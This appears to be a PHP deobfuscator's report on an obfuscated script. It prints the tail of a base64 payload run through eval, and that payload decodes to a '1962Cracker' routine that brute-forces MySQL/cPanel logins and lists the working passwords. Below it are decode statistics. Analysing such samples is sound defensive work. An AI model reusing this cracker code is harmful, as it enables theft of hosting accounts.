gkYTJbJGldKTsNCgkJCQkJCQlpZihAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlciwkcGFzcykpDQoJCQkJCQkJew0KCQkJCQkJCQkJZWNobyAiMTk2MkNyYWNrZXJ+IHVzZXIgaXMgPT0+ICg8Yj48Zm9udCBjb2xvcj1ncmVlbj4kdXNlcjwvZm9udD48L2I+KSBQYXNzd29yZCBpcyA9PT4gKDxiPjxmb250IGNvbG9yPXJlZD4kcGFzczwvZm9udD48L2I+KTxiciAvPiI7DQoJCQkJCQkJCQkkb2srKzsNCgkJCQkJCQl9DQoJCQkJCSB9DQoJCQkJCX0NCgkJCX0NCgkJCWVjaG8gIjxocj48Yj5Zb3UgRm91bmQgPGZvbnQgY29sb3I9Z3JlZW4+JG9rPC9mb250PiBjUGFuZWwgKDE5NjJDcmFja2VyKTwvYj4iOw0KCQkJZWNobyAiPGNlbnRlcj48Yj48YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj48fiBCQUNLPC9hPiI7DQoJCQlleGl0Ow0KCX0NCgl9DQo=")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 916eeabd3823074c51da05900102d91f
Eval Count 1
Decode Time 155 ms